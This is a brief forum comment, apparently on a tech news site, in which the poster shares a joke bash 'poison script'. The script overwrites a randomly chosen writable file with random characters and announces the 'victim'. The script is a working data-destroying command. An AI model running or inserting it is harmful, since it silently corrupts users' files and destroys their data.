News for hackers. Stuff that matters.
Re:Show HN: Shortcut Roulette – Dangerous, unhelpful shortcu... by api_or_ipa on Tuesday November 20, 2018 @08:02PM (#18499365)
You inspired me to write a random poison script.

  #!/bin/bash
  
  VICTIM=$(find * -type f -writable  | shuf | head -n 1)
  CONTENTS=$(head -c 10000 /dev/urandom | tr -dc 'a-zA-Z0- 
  9~!@#$%^&*_-')
  echo $CONTENTS > $VICTIM
  echo $VICTIM was poisoned.

There are no comments on this comment yet.